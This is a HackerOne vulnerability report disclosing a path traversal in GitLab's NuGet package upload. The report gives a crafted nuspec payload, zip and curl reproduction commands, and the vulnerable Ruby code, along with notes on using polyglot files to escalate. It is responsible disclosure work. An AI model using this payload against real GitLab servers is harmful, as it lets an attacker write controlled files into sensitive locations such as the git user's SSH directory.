Path traversal in nuget metadata extraction allowing packages to be saved anywhere
HackerOne report #835427 by vakzz
on 2020-03-31, assigned to @ankelly:
Report | Attachments | How To Reproduce
Report
Summary
After a nuget package is uploaded via the api, the UpdatePackageFromMetadataService
is run to update the package and file names based on the metadata in the nuspec
file which is extracted from the package zip. Neither the extracted id or version is checked for path traversal, allowing the package.nupkg
to be moved anywhere that the git
user has access.
Steps to reproduce
-
create a project
-
create a
spec.nuspec
file with the following contents
<?xml version="1.0"?>
<package xmlns="http://schemas.microsoft.com/packaging/2010/07/nuspec.xsd">
<metadata>
<id>../../../../../../../../../../../../../</id>
<version>./var/opt/gitlab/.ssh/aaa</version>
</metadata>
</package>
```
-
zip it up and upload it via the api
zip package.zip spec.nuspec
curl -XPUT -v 'http://vakzz:$TOKEN@gitlab-vm.local/api/v4/projects/112/packages/nuget/' -F package=[@]package.zip
```
- after the metadata service has run you can see that the file has been moved
ls -asl /var/opt/gitlab/.ssh/
Impact
I'm still unsure of the complete impact of this, but there are a few thing to note:
- the file will always have the
.nupkg
extension (can't see a way around this) - any parent directories are also created
- the package has to be a valid zip file, but using something like https://truepolyglot.hackade.org/ arbitrary data can be appended to the start.
Knowing the above it might be possible to escalate this further, but requires more investigation.
Examples
nuget package used above:
package that is a polyglot with a shell script:
What is the current bug behavior?
The package file_name
is updated with values directly from the metadata without any checks:
package_file.update!(
file_name: package_filename,
file: package_file.file
)
def package_name
metadata[:package_name]
end
def package_version
metadata[:package_version]
end
def metadata
strong_memoize(:metadata) do
::Packages::Nuget::MetadataExtractionService.new(package_file.id).execute
end
end
def package_filename
"#{package_name.downcase}.#{package_version.downcase}.nupkg"
end
What is the expected correct behavior?
The package_filename
should be validated
Output of checks
Results of GitLab environment info
System information
System: Ubuntu 18.04
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.6.5p114
Gem Version: 2.7.10
Bundler Version:1.17.3
Rake Version: 12.3.3
Redis Version: 5.0.7
Git Version: 2.24.1
Sidekiq Version:5.2.7
Go Version: unknown
GitLab information
Version: 12.9.1-ee
Revision: 0ebcf602332
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 10.12
URL: http://gitlab-vm.local
HTTP Clone URL: http://gitlab-vm.local/some-group/some-project.git
SSH Clone URL: git@gitlab-vm.local:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 12.0.0
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Git: /opt/gitlab/embedded/bin/git
Impact
An attacker can write controlled data with the extension .nupkg
to anywhere the git
user has access
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: